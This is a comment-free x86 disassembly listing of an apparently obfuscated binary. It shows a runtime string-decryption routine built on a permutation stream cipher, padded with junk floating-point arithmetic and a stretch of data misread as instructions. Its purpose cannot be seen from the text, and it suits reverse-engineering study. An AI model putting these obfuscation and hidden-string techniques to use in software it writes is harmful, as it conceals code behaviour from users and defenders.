mov dword [ebp - 0x4524], eax
mov ecx, dword [ebp - 0x4520]
add ecx, dword [ebp - 0x4524]
movzx edx, byte [ecx]
mov dword [ebp - 0x4398], edx
mov dword [ebp - 0x4394], 0xb
mov eax, dword [ebp - 0x3888]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x451c], ecx
mov edx, dword [ebp - 0x4520]
add edx, dword [ebp - 0x451c]
movzx eax, byte [edx]
mov dword [ebp - 0x4390], eax
mov dword [ebp - 0x438c], 0x93
mov ecx, dword [ebp - 0x4398]
sub ecx, dword [ebp - 0x4394]
mov dword [ebp - 0x4408], ecx
mov edx, dword [ebp - 0x4390]
sub edx, dword [ebp - 0x438c]
mov dword [ebp - 0x4384], edx
mov eax, dword [ebp - 0x4408]
shl eax, 4
mov dword [ebp - 0x4518], eax
mov ecx, dword [ebp - 0x4384]
mov dword [ebp - 0x4514], ecx
mov edx, dword [ebp - 0x4518]
or edx, dword [ebp - 0x4514]
mov dword [ebp - 0x4510], edx
mov al, byte [ebp - 0x4510]
mov byte [ebp - 0x33ba], al
movzx ecx, byte [ebp - 0x3383]
mov dl, byte [ebp + ecx - 0x6cac]
mov byte [ebp - 0x33bd], dl
movzx eax, byte [ebp - 0x3313]
movzx ecx, byte [ebp + eax - 0x6cac]
movzx edx, byte [ebp - 0x332e]
add edx, ecx
mov byte [ebp - 0x332e], dl
mov al, byte [ebp - 0x3313]
add al, 1
mov byte [ebp - 0x3313], al
movzx ecx, byte [ebp - 0x332e]
movzx edx, byte [ebp - 0x3383]
mov al, byte [ebp + ecx - 0x6cac]
mov byte [ebp + edx - 0x6cac], al
movzx ecx, byte [ebp - 0x332f]
movzx edx, byte [ebp - 0x332e]
mov al, byte [ebp + ecx - 0x6cac]
mov byte [ebp + edx - 0x6cac], al
movzx ecx, byte [ebp - 0x3313]
movzx edx, byte [ebp - 0x332f]
mov al, byte [ebp + ecx - 0x6cac]
mov byte [ebp + edx - 0x6cac], al
movzx ecx, byte [ebp - 0x3313]
mov dl, byte [ebp - 0x33bd]
mov byte [ebp + ecx - 0x6cac], dl
movzx eax, byte [ebp - 0x33bd]
movzx ecx, byte [ebp + eax - 0x6cac]
movzx edx, byte [ebp - 0x33b9]
add edx, ecx
mov byte [ebp - 0x33b9], dl
movzx eax, byte [ebp - 0x33ba]
movzx ecx, byte [ebp - 0x332e]
movzx edx, byte [ebp + ecx - 0x6cac]
movzx ecx, byte [ebp - 0x3313]
movzx ecx, byte [ebp + ecx - 0x6cac]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x6cac]
xor eax, edx
movzx ecx, byte [ebp - 0x332f]
movzx edx, byte [ebp + ecx - 0x6cac]
movzx ecx, byte [ebp - 0x3383]
movzx ecx, byte [ebp + ecx - 0x6cac]
add edx, ecx
movzx ecx, byte [ebp - 0x33b9]
movzx ecx, byte [ebp + ecx - 0x6cac]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x6cac]
movzx ecx, byte [ebp + edx - 0x6cac]
xor eax, ecx
mov byte [ebp - 0x332f], al
mov dl, byte [ebp - 0x33ba]
mov byte [ebp - 0x3383], dl
mov al, byte [ebp - 0x332f]
mov byte [ebp - 0x35b9], al
cmp dword [ebp - 0x3888], 0
jle 0x436b37
movsx cx, byte [ebp - 0x35b9]
mov edx, dword [ebp - 0x3888]
mov word [ebp + edx*2 - 0x57a], cx
jmp 0x4368cb
mov eax, dword [ebp - 0x3ee0]
add eax, 1
mov dword [ebp - 0x3ee0], eax
mov ecx, 2
imul edx, ecx, 0x2b
mov dword [ebp - 0x53c8], edx
cmp dword [ebp - 0x53c8], 0x58
jae 0x436b64
jmp 0x436b69
call fcn.009ea777
xor eax, eax
mov ecx, dword [ebp - 0x53c8]
mov word [ebp + ecx - 0x578], ax
jmp 0x436bcf
mov dword [ebp - 0x49a0], 0
jmp 0x436b96
mov edx, dword [ebp - 0x49a0]
add edx, 1
mov dword [ebp - 0x49a0], edx
cmp dword [ebp - 0x49a0], 0x2c
jge 0x436bcf
mov eax, dword [ebp - 0x49a0]
shl eax, 1
mov dword [ebp - 0x53c4], eax
cmp dword [ebp - 0x53c4], 0x58
jae 0x436bb8
jmp 0x436bbd
call fcn.009ea777
xor ecx, ecx
mov edx, dword [ebp - 0x53c4]
mov word [ebp + edx - 0x578], cx
jmp 0x436b87
push 0
push 1
mov eax, dword [ebp - 0x4698]
push eax
lea ecx, [ebp - 0x264]
push ecx
push 0
lea edx, [ebp - 0x578]
push edx
movzx eax, byte [ebp + 0xc]
push eax
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x3194], 0
mov dword [ebp - 0x3198], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47b4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4660], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4660], xmm0
jmp 0x436c46
movsd xmm0, qword [ebp - 0x4660]
addsd xmm0, qword [0xa66348]
movsd qword [ebp - 0x4660], xmm0
movsd xmm0, qword [0xa66828]
comisd xmm0, xmmword [ebp - 0x4660]
jbe 0x436cf7
movsd xmm0, qword [0xa666a0]
mulsd xmm0, qword [ebp - 0x4660]
mulsd xmm0, qword [ebp - 0x4660]
movsd xmm1, qword [ebp - 0x4660]
mulsd xmm1, qword [ebp - 0x4660]
subsd xmm0, xmm1
movsd xmm1, qword [0xa66410]
mulsd xmm1, qword [ebp - 0x4660]
mulsd xmm1, qword [ebp - 0x4660]
addsd xmm1, qword [0xa664b8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47b4]
movsd qword [ebp - 0x47b4], xmm0
movsd xmm0, qword [ebp - 0x47b4]
comisd xmm0, xmmword [0xa665b8]
jbe 0x436cf2
movsd xmm0, qword [0xa662e0]
mulsd xmm0, qword [ebp - 0x4660]
movsd xmm1, qword [ebp - 0x47b4]
subsd xmm1, xmm0
movsd qword [ebp - 0x47b4], xmm1
jmp 0x436c2e
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47b4]
jbe 0x436d71
xor eax, 0x328e2e8c
mov dword [0x2d882e8e], ebp
mov word [edx], gs
test dword [0x2b862980], ebp
mov ebp, dword [eax*4 - 0x7ad87bd5]
sub byte [eax - 0x7ecf7ed5], al
xor al, byte [edi - 0x7cd570d5]
sub dword [ebp - 0x77cc76d9], ecx
sub byte [edx - 0x7ad475cf], cl
sub dword [ebx - 0x7ccd78ce], ecx
xor eax, dword [eax - 0x77d079cb]
xor byte [ebx - 0x77cb7bcb], al
xor byte [ebx + ebp + 0x368d2784], cl
lea esi, [edx]
mov dh, byte [esp + ecx*4]
sub dword [eax + ebx*2 + 0x66406345], eax
dec edi
dec esi
xor dl, byte [eax + 0x38]
outsb dx, byte [esi]
outsd dx, dword [esi]
daa
push edi
xor byte [ebx + 0x61], dh
pop edi
dec ecx
pop ecx
push esp
jmp 0x4390c8
mov dword [ebp - 0x3194], 0x436d04
mov dword [ebp - 0x3198], 0x436d56
mov ecx, dword [ebp - 0x3194]
mov dword [ebp - 0x3a6c], ecx
mov edx, dword [ebp - 0x3198]
mov dword [ebp - 0x6794], edx
mov byte [ebp - 0x4027], 0x1a
mov dword [ebp - 0x388c], 0
jmp 0x436dbf
mov eax, dword [ebp - 0x388c]
add eax, 1
mov dword [ebp - 0x388c], eax
cmp dword [ebp - 0x388c], 0x100
jae 0x436de0
mov ecx, dword [ebp - 0x388c]
mov dl, byte [ebp - 0x388c]
mov byte [ebp + ecx - 0x59a0], dl
jmp 0x436db0
mov dword [ebp - 0x450c], 0
mov byte [ebp - 0x336d], 0
mov dword [ebp - 0x388c], 0xff
jmp 0x436e0c
mov eax, dword [ebp - 0x388c]
sub eax, 1
mov dword [ebp - 0x388c], eax
cmp dword [ebp - 0x388c], 0
jbe 0x43707c
mov dword [ebp - 0x4c00], 0
mov dword [ebp - 0x496c], 1
mov ecx, dword [ebp - 0x496c]
cmp ecx, dword [ebp - 0x388c]
jae 0x436e4d
mov edx, dword [ebp - 0x496c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x496c], eax
jmp 0x436e2d
mov ecx, dword [ebp - 0x450c]
mov dword [ebp - 0x53c0], ecx
cmp dword [ebp - 0x53c0], 3
ja case.default.0x436e6c
mov edx, dword [ebp - 0x53c0]
jmp dword [edx*4 + 0x46cdf4]
movzx eax, byte [ebp - 0x336d]
movzx ebx, byte [ebp + eax - 0x59a0]
movsd xmm0, qword [ebp - 0x47b4]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336d], bl
jmp 0x436f55
movzx ecx, byte [ebp - 0x336d]
movzx ebx, byte [ebp + ecx - 0x59a0]
movsd xmm0, qword [ebp - 0x47b4]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336d], bl
jmp 0x436f55
movzx edx, byte [ebp - 0x336d]
movzx ebx, byte [ebp + edx - 0x59a0]
movsd xmm0, qword [ebp - 0x47b4]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336d], bl
jmp 0x436f55
movzx eax, byte [ebp - 0x336d]
movzx ebx, byte [ebp + eax - 0x59a0]
movsd xmm0, qword [ebp - 0x47b4]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336d], bl
jmp 0x436f55
movzx ecx, byte [ebp - 0x336d]
movzx edx, byte [ebp + ecx - 0x59a0]
mov eax, dword [ebp - 0x6794]
add eax, dword [ebp - 0x450c]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x336d], dl
mov edx, dword [ebp - 0x450c]
add edx, 1
mov dword [ebp - 0x450c], edx
movzx eax, byte [ebp - 0x4027]
cmp dword [ebp - 0x450c], eax
jb 0x436f93
mov dword [ebp - 0x450c], 0
movzx ecx, byte [ebp - 0x4027]
movzx edx, byte [ebp - 0x336d]
add edx, ecx
mov byte [ebp - 0x336d], dl
movzx eax, byte [ebp - 0x336d]
and eax, dword [ebp - 0x496c]
mov dword [ebp - 0x4270], eax
mov ecx, dword [ebp - 0x4c00]
add ecx, 1
mov dword [ebp - 0x4c00], ecx
cmp dword [ebp - 0x4c00], 0xb
jbe 0x436fd2
mov eax, dword [ebp - 0x4270]
xor edx, edx
div dword [ebp - 0x388c]
mov dword [ebp - 0x4270], edx
mov edx, dword [ebp - 0x4270]
cmp edx, dword [ebp - 0x388c]
ja 0x436e4d
mov eax, dword [ebp - 0x388c]
cmp eax, dword [ebp - 0x4270]
je 0x437077
mov ecx, dword [ebp - 0x4270]
movzx edx, byte [ebp + ecx - 0x59a0]
mov eax, dword [ebp - 0x388c]
movzx ecx, byte [ebp + eax - 0x59a0]
xor ecx, edx
mov edx, dword [ebp - 0x388c]
mov byte [ebp + edx - 0x59a0], cl
mov eax, dword [ebp - 0x388c]
movzx ecx, byte [ebp + eax - 0x59a0]
mov edx, dword [ebp - 0x4270]
movzx eax, byte [ebp + edx - 0x59a0]
xor eax, ecx
mov ecx, dword [ebp - 0x4270]
mov byte [ebp + ecx - 0x59a0], al
mov edx, dword [ebp - 0x4270]
movzx eax, byte [ebp + edx - 0x59a0]
mov ecx, dword [ebp - 0x388c]
movzx edx, byte [ebp + ecx - 0x59a0]
xor edx, eax
mov eax, dword [ebp - 0x388c]
mov byte [ebp + eax - 0x59a0], dl
jmp 0x436dfd
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x59a0]
mov byte [ebp - 0x327c], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x59a0]
mov byte [ebp - 0x328b], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x59a0]
mov byte [ebp - 0x32e5], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x59a0]
mov byte [ebp - 0x328d], dl
movzx eax, byte [ebp - 0x336d]
mov cl, byte [ebp + eax - 0x59a0]
mov byte [ebp - 0x32b1], cl
mov dword [ebp - 0x53bc], 0x52
cmp dword [ebp - 0x53bc], 2
jle 0x439074
mov edx, dword [ebp - 0x53bc]
and edx, 1
jne 0x439074
mov dword [ebp - 0x3390], 0
mov dword [ebp - 0x35f4], 0
mov eax, dword [ebp - 0x35f4]
add eax, 1
mov dword [ebp - 0x35f4], eax
mov dword [ebp - 0x3a68], 0
mov ecx, dword [ebp - 0x3390]
shl ecx, 1
mov dword [ebp - 0x3a68], ecx
mov dword [ebp - 0x398c], 0
mov edx, dword [ebp - 0x3a6c]
add edx, dword [ebp - 0x3a68]
movzx eax, byte [edx]
add eax, dword [ebp - 0x398c]
mov dword [ebp - 0x398c], eax
mov dword [ebp - 0x3990], 0
mov ecx, dword [ebp - 0x3990]
add ecx, 0x27
mov dword [ebp - 0x3990], ecx
mov dword [ebp - 0x3ab8], 0
mov edx, dword [ebp - 0x3390]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3ab8], eax
mov dword [ebp - 0x3994], 0
mov ecx, dword [ebp - 0x3a6c]
add ecx, dword [ebp - 0x3ab8]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3994]
mov dword [ebp - 0x3994], edx
mov dword [ebp - 0x3998], 0
mov eax, dword [ebp - 0x3998]
add eax, 0x80
mov dword [ebp - 0x3998], eax
mov dword [ebp - 0x399c], 0
mov ecx, dword [ebp - 0x398c]
sub ecx, dword [ebp - 0x3990]
add ecx, dword [ebp - 0x399c]
mov dword [ebp - 0x399c], ecx
mov dword [ebp - 0x39a0], 0
mov edx, dword [ebp - 0x3994]
sub edx, dword [ebp - 0x3998]
add edx, dword [ebp - 0x39a0]
mov dword [ebp - 0x39a0], edx
mov dword [ebp - 0x3a70], 0
mov eax, dword [ebp - 0x399c]
shl eax, 4
mov dword [ebp - 0x3a70], eax
mov dword [ebp - 0x3ab4], 0
mov ecx, dword [ebp - 0x39a0]
mov dword [ebp - 0x3ab4], ecx
mov dword [ebp - 0x3a80], 0
mov edx, dword [ebp - 0x3a70]
or edx, dword [ebp - 0x3ab4]
mov dword [ebp - 0x3a80], edx
mov byte [ebp - 0x32e6], 0
mov al, byte [ebp - 0x3a80]
mov byte [ebp - 0x32e6], al
mov byte [ebp - 0x32e4], 0
movzx ecx, byte [ebp - 0x32b1]
mov dl, byte [ebp + ecx - 0x59a0]
mov byte [ebp - 0x32e4], dl
movzx eax, byte [ebp - 0x327c]
movzx ecx, byte [ebp + eax - 0x59a0]
movzx edx, byte [ebp - 0x328b]
add edx, ecx
mov byte [ebp - 0x328b], dl
mov al, byte [ebp - 0x327c]
add al, 1
mov byte [ebp - 0x327c], al
movzx ecx, byte [ebp - 0x328b]
movzx edx, byte [ebp - 0x32b1]
mov al, byte [ebp + ecx - 0x59a0]
mov byte [ebp + edx - 0x59a0], al
movzx ecx, byte [ebp - 0x328d]
movzx edx, byte [ebp - 0x328b]
mov al, byte [ebp + ecx - 0x59a0]
mov byte [ebp + edx - 0x59a0], al
movzx ecx, byte [ebp - 0x327c]
movzx edx, byte [ebp - 0x328d]
mov al, byte [ebp + ecx - 0x59a0]
mov byte [ebp + edx - 0x59a0], al
movzx ecx, byte [ebp - 0x327c]
mov dl, byte [ebp - 0x32e4]
mov byte [ebp + ecx - 0x59a0], dl
movzx eax, byte [ebp - 0x32e4]
movzx ecx, byte [ebp + eax - 0x59a0]
movzx edx, byte [ebp - 0x32e5]
add edx, ecx
mov byte [ebp - 0x32e5], dl
movzx eax, byte [ebp - 0x32e6]
movzx ecx, byte [ebp - 0x328b]
movzx edx, byte [ebp + ecx - 0x59a0]
movzx ecx, byte [ebp - 0x327c]
movzx ecx, byte [ebp + ecx - 0x59a0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x59a0]
xor eax, edx
movzx ecx, byte [ebp - 0x328d]
movzx edx, byte [ebp + ecx - 0x59a0]
movzx ecx, byte [ebp - 0x32b1]
movzx ecx, byte [ebp + ecx - 0x59a0]
add edx, ecx
movzx ecx, byte [ebp - 0x32e5]
movzx ecx, byte [ebp + ecx - 0x59a0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x59a0]
movzx ecx, byte [ebp + edx - 0x59a0]
xor eax, ecx
mov byte [ebp - 0x328d], al
mov dl, byte [ebp - 0x32e6]
mov byte [ebp - 0x32b1], dl
mov al, byte [ebp - 0x328d]
mov byte [ebp - 0x3330], al
cmp dword [ebp - 0x3390], 0
jle 0x437409
movsx cx, byte [ebp - 0x3330]
mov edx, dword [ebp - 0x3390]
mov word [ebp + edx*2 - 0x34e], cx
mov eax, dword [ebp - 0x3390]
add eax, 1
mov dword [ebp - 0x3390], eax
mov ecx, dword [ebp - 0x35f4]
add ecx, 1
mov dword [ebp - 0x35f4], ecx
mov edx, dword [ebp - 0x3390]
shl edx, 1
mov dword [ebp - 0x3a68], edx
mov eax, dword [ebp - 0x3a6c]
add eax, dword [ebp - 0x3a68]
movzx ecx, byte [eax]
mov dword [ebp - 0x398c], ecx
mov dword [ebp - 0x3990], 0x27
mov edx, dword [ebp - 0x3390]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3ab8], eax
mov ecx, dword [ebp - 0x3a6c]
add ecx, dword [ebp - 0x3ab8]
movzx edx, byte [ecx]
mov dword [ebp - 0x3994], edx
mov dword [ebp - 0x3998], 0x80
mov eax, dword [ebp - 0x398c]
sub eax, dword [ebp - 0x3990]
mov dword [ebp - 0x399c], eax
mov ecx, dword [ebp - 0x3994]
sub ecx, dword [ebp - 0x3998]
mov dword [ebp - 0x39a0], ecx
mov edx, dword [ebp - 0x399c]
shl edx, 4
mov dword [ebp - 0x3a70], edx
movsd xmm0, qword [0xa66e10]
movsd qword [ebp - 0x4238], xmm0
movsd xmm0, qword [0xa66cd8]
movsd qword [ebp - 0x4670], xmm0
movsd xmm0, qword [0xa66bb8]
movsd qword [ebp - 0x4668], xmm0
movsd xmm0, qword [0xa66a98]
movsd qword [ebp - 0x3f20], xmm0
movsd xmm0, qword [0xa66918]
movsd qword [ebp - 0x4178], xmm0
movsd xmm0, qword [0xa66710]
movsd qword [ebp - 0x3d1c], xmm0
movsd xmm0, qword [ebp - 0x4238]
addsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x4238], xmm0
movsd xmm0, qword [ebp - 0x4238]
addsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x4238], xmm0
movsd xmm0, qword [ebp - 0x4668]
subsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x4668], xmm0
movsd xmm0, qword [ebp - 0x4668]
addsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x4668], xmm0
movsd xmm0, qword [ebp - 0x4670]
addsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x4670], xmm0
movsd xmm0, qword [ebp - 0x3f20]
mulsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x3f20], xmm0
movsd xmm0, qword [ebp - 0x3f20]
comisd xmm0, xmmword [ebp - 0x3d1c]
jbe 0x43765d
movsd xmm0, qword [ebp - 0x4178]
subsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x4178], xmm0
movsd xmm0, qword [ebp - 0x3f20]
mulsd xmm0, qword [ebp - 0x4178]
movsd qword [ebp - 0x3f20], xmm0
movsd xmm0, qword [ebp - 0x4670]
mulsd xmm0, qword [ebp - 0x4668]
movsd qword [ebp - 0x4670], xmm0
movsd xmm0, qword [ebp - 0x3d1c]
subsd xmm0, qword [ebp - 0x4238]
movsd qword [ebp - 0x3d1c], xmm0
movsd xmm0, qword [ebp - 0x3d1c]
addsd xmm0, qword [ebp - 0x4238]
movsd qword [ebp - 0x3d1c], xmm0
movsd xmm0, qword [ebp - 0x4178]
mulsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x4178], xmm0
mov eax, dword [ebp - 0x39a0]
mov dword [ebp - 0x3ab4], eax
jmp 0x4378b8
movsd xmm0, qword [ebp - 0x3d1c]
divsd xmm0, qword [ebp - 0x4238]
movsd qword [ebp - 0x3d1c], xmm0
movsd xmm0, qword [ebp - 0x3f20]
subsd xmm0, qword [ebp - 0x4178]
movsd qword [ebp - 0x3f20], xmm0
movsd xmm0, qword [ebp - 0x3d1c]
divsd xmm0, qword [ebp - 0x4238]
movsd qword [ebp - 0x3d1c], xmm0
movsd xmm0, qword [ebp - 0x4178]
addsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x4178], xmm0
movsd xmm0, qword [ebp - 0x4178]
divsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x4178], xmm0
movsd xmm0, qword [ebp - 0x4238]
subsd xmm0, qword [ebp - 0x4670]
movsd qword [ebp - 0x4238], xmm0
movsd xmm0, qword [ebp - 0x4178]
mulsd xmm0, qword [ebp - 0x4238]
movsd qword [ebp - 0x4178], xmm0
movsd xmm0, qword [ebp - 0x4668]
subsd xmm0, qword [ebp - 0x4178]
movsd qword [ebp - 0x4668], xmm0
movsd xmm0, qword [ebp - 0x4238]
divsd xmm0, qword [ebp - 0x4668]
movsd qword [ebp - 0x4238], xmm0
movsd xmm0, qword [ebp - 0x3f20]
addsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x3f20], xmm0
movsd xmm0, qword [ebp - 0x3d1c]
mulsd xmm0, qword [ebp - 0x4670]
movsd qword [ebp - 0x3d1c], xmm0
movsd xmm0, qword [ebp - 0x4238]
subsd xmm0, qword [ebp - 0x4668]
movsd qword [ebp - 0x4238], xmm0
movsd xmm0, qword [ebp - 0x4670]
comisd xmm0, xmmword [ebp - 0x3f20]
jbe 0x437828
movsd xmm0, qword [ebp - 0x4238]
mulsd xmm0, qword [ebp - 0x4670]
movsd qword [ebp - 0x4238], xmm0
movsd xmm0, qword [ebp - 0x3f20]
subsd xmm0, qword [ebp - 0x4178]
movsd qword [ebp - 0x3f20], xmm0
movsd xmm0, qword [ebp - 0x3f20]
mulsd xmm0, qword [ebp - 0x4178]
movsd qword [ebp - 0x3f20], xmm0
movsd xmm0, qword [ebp - 0x4178]
addsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x4178], xmm0
movsd xmm0, qword [ebp - 0x3f20]
mulsd xmm0, qword [ebp - 0x4178]
movsd qword [ebp - 0x3f20], xmm0
movsd xmm0, qword [ebp - 0x4668]
divsd xmm0, qword [ebp - 0x3f20]
movsd qword [ebp - 0x4668], xmm0
jmp 0x4378b8
movsd xmm0, qword [ebp - 0x4670]
subsd xmm0, qword [ebp - 0x3f20]
movsd qword [ebp - 0x4670], xmm0
movsd xmm0, qword [ebp - 0x3f20]
mulsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x3f20], xmm0
movsd xmm0, qword [ebp - 0x3f20]
addsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x3f20], xmm0
movsd xmm0, qword [ebp - 0x3f20]
subsd xmm0, qword [ebp - 0x3d1c]
movsd qword [ebp - 0x3f20], xmm0
movsd xmm0, qword [ebp - 0x3d1c]
subsd xmm0, qword [ebp - 0x4670]
movsd qword [ebp - 0x3d1c], xmm0
movsd xmm0, qword [ebp - 0x4178]
mulsd xmm0, qword [ebp - 0x4238]
movsd qword [ebp - 0x4178], xmm0
mov ecx, dword [ebp - 0x3a70]
or ecx, dword [ebp - 0x3ab4]
mov dword [ebp - 0x3a80], ecx
mov dl, byte [ebp - 0x3a80]
mov byte [ebp - 0x32e6], dl
movzx eax, byte [ebp - 0x32b1]
mov cl, byte [ebp + eax - 0x59a0]
mov byte [ebp - 0x32e4], cl
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp + edx - 0x59a0]
movzx ecx, byte [ebp - 0x328b]
add ecx, eax
mov byte [ebp - 0x328b], cl
mov dl, byte [ebp - 0x327c]
add dl, 1
mov byte [ebp - 0x327c], dl
movzx eax, byte [ebp - 0x328b]
movzx ecx, byte [ebp - 0x32b1]
mov dl, byte [ebp + eax - 0x59a0]
mov byte [ebp + ecx - 0x59a0], dl
movzx eax, byte [ebp - 0x328d]
movzx ecx, byte [ebp - 0x328b]
mov dl, byte [ebp + eax - 0x59a0]
mov byte [ebp + ecx - 0x59a0], dl
movzx eax, byte [ebp - 0x327c]
movzx ecx, byte [ebp - 0x328d]
mov dl, byte [ebp + eax - 0x59a0]
mov byte [ebp + ecx - 0x59a0], dl
movzx eax, byte [ebp - 0x327c]
mov cl, byte [ebp - 0x32e4]
mov byte [ebp + eax - 0x59a0], cl
movzx edx, byte [ebp - 0x32e4]
movzx eax, byte [ebp + edx - 0x59a0]
movzx ecx, byte [ebp - 0x32e5]
add ecx, eax
mov byte [ebp - 0x32e5], cl
movzx edx, byte [ebp - 0x32e6]
movzx eax, byte [ebp - 0x328b]
movzx ecx, byte [ebp + eax - 0x59a0]
movzx eax, byte [ebp - 0x327c]
movzx eax, byte [ebp + eax - 0x59a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x59a0]
xor edx, ecx
movzx eax, byte [ebp - 0x328d]
movzx ecx, byte [ebp + eax - 0x59a0]
movzx eax, byte [ebp - 0x32b1]
movzx eax, byte [ebp + eax - 0x59a0]
add ecx, eax
movzx eax, byte [ebp - 0x32e5]
movzx eax, byte [ebp + eax - 0x59a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x59a0]
movzx eax, byte [ebp + ecx - 0x59a0]
xor edx, eax
mov byte [ebp - 0x328d], dl
mov cl, byte [ebp - 0x32e6]
mov byte [ebp - 0x32b1], cl
mov dl, byte [ebp - 0x328d]
mov byte [ebp - 0x3330], dl
cmp dword [ebp - 0x3390], 0
jle 0x437a5a
movsx ax, byte [ebp - 0x3330]
mov ecx, dword [ebp - 0x3390]
mov word [ebp + ecx*2 - 0x34e], ax
mov edx, dword [ebp - 0x35f4]
add edx, 0x11
mov dword [ebp - 0x35f4], edx
mov eax, dword [ebp - 0x3390]
add eax, 1
mov dword [ebp - 0x4c04], eax
jmp 0x437a89
mov ecx, dword [ebp - 0x4c04]
add ecx, 1
mov dword [ebp - 0x4c04], ecx
mov edx, dword [ebp - 0x4c04]
cmp edx, dword [ebp - 0x35f4]
jge 0x437cea
mov eax, dword [ebp - 0x3390]
add eax, 1
mov dword [ebp - 0x3390], eax
mov ecx, dword [ebp - 0x3390]
shl ecx, 1
mov dword [ebp - 0x3a68], ecx
mov edx, dword [ebp - 0x3a6c]
add edx, dword [ebp - 0x3a68]
movzx eax, byte [edx]
mov dword [ebp - 0x398c], eax
mov dword [ebp - 0x3990], 0x27
mov ecx, dword [ebp - 0x3390]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3ab8], edx
mov eax, dword [ebp - 0x3a6c]
add eax, dword [ebp - 0x3ab8]
movzx ecx, byte [eax]
mov dword [ebp - 0x3994], ecx
mov dword [ebp - 0x3998], 0x80
mov edx, dword [ebp - 0x398c]
sub edx, dword [ebp - 0x3990]
mov dword [ebp - 0x399c], edx
mov eax, dword [ebp - 0x3994]
sub eax, dword [ebp - 0x3998]
mov dword [ebp - 0x39a0], eax
mov ecx, dword [ebp - 0x399c]
shl ecx, 4
mov dword [ebp - 0x3a70], ecx
mov edx, dword [ebp - 0x39a0]
mov dword [ebp - 0x3ab4], edx
mov eax, dword [ebp - 0x3a70]
or eax, dword [ebp - 0x3ab4]
mov dword [ebp - 0x3a80], eax
mov cl, byte [ebp - 0x3a80]
mov byte [ebp - 0x32e6], cl
movzx edx, byte [ebp - 0x32b1]
mov al, byte [ebp + edx - 0x59a0]
mov byte [ebp - 0x32e4], al
movzx ecx, byte [ebp - 0x327c]
movzx edx, byte [ebp + ecx - 0x59a0]
movzx eax, byte [ebp - 0x328b]
add eax, edx
mov byte [ebp - 0x328b], al
mov cl, byte [ebp - 0x327c]
add cl, 1
mov byte [ebp - 0x327c], cl
movzx edx, byte [ebp - 0x328b]
movzx eax, byte [ebp - 0x32b1]
mov cl, byte [ebp + edx - 0x59a0]
mov byte [ebp + eax - 0x59a0], cl
movzx edx, byte [ebp - 0x328d]
movzx eax, byte [ebp - 0x328b]
mov cl, byte [ebp + edx - 0x59a0]
mov byte [ebp + eax - 0x59a0], cl
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp - 0x328d]
mov cl, byte [ebp + edx - 0x59a0]
mov byte [ebp + eax - 0x59a0], cl
movzx edx, byte [ebp - 0x327c]
mov al, byte [ebp - 0x32e4]
mov byte [ebp + edx - 0x59a0], al
movzx ecx, byte [ebp - 0x32e4]
movzx edx, byte [ebp + ecx - 0x59a0]
movzx eax, byte [ebp - 0x32e5]
add eax, edx
mov byte [ebp - 0x32e5], al
movzx ecx, byte [ebp - 0x32e6]
movzx edx, byte [ebp - 0x328b]
movzx eax, byte [ebp + edx - 0x59a0]
movzx edx, byte [ebp - 0x327c]
movzx edx, byte [ebp + edx - 0x59a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x59a0]
xor ecx, eax
movzx edx, byte [ebp - 0x328d]
movzx eax, byte [ebp + edx - 0x59a0]
movzx edx, byte [ebp - 0x32b1]
movzx edx, byte [ebp + edx - 0x59a0]
add eax, edx
movzx edx, byte [ebp - 0x32e5]
movzx edx, byte [ebp + edx - 0x59a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x59a0]
movzx edx, byte [ebp + eax - 0x59a0]
xor ecx, edx
mov byte [ebp - 0x328d], cl
mov al, byte [ebp - 0x32e6]
mov byte [ebp - 0x32b1], al
mov cl, byte [ebp - 0x328d]
mov byte [ebp - 0x3330], cl
cmp dword [ebp - 0x3390], 0
jle 0x437ce5
